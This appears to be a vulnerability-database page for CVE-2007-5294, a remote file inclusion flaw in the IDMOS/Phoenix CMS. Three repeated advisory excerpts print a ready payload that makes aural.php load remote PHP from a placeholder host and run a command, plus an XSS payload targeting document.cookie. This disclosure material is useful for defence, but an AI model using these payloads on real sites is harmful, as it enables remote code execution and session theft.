CVE-2007-5294: Improper Control of Generation of Code

PHP remote file inclusion vulnerability in core/aural.php in IDMOS 1.0-beta aka Phoenix allows remote attackers to execute arbitrary PHP code via a URL in the siteabsolutepath parameter...

idmos-xss.txt

Hello,, IDM-OS idmos-phoenix cms Remote File inclusion Discovered By : HACKERS PAL Copy rights : HACKERS PAL Website : http://www.soqor.net Email Address : [email protected] RFI core/aural.php?siteabsolutepath=http://localhost/cmd.txt?&cmd=dir Xss error.php?errmsg=alertdocument.cookie;...

idmos-phoenix CMS - aural.php Remote File Inclusion

idmos-phoenix CMS - aural.php Remote File Inclusion idmos-phoenix cms Remote File inclusion Discovered By : HACKERS PAL Copy rights : HACKERS PAL Website : http://www.soqor.net Email Address : [email protected] RFI core/aural.php?siteabsolutepath=http://localhost/cmd.txt?&cmd=dir Xss...

idmos-phoenix CMS - 'aural.php' Remote File Inclusion

idmos-phoenix cms Remote File inclusion Discovered By : HACKERS PAL Copy rights : HACKERS PAL Website : http://www.soqor.net Email Address : [email protected] RFI core/aural.php?siteabsolutepath=http://localhost/cmd.txt?&cmd=dir Xss error.php?errmsg=alertdocument.cookie;...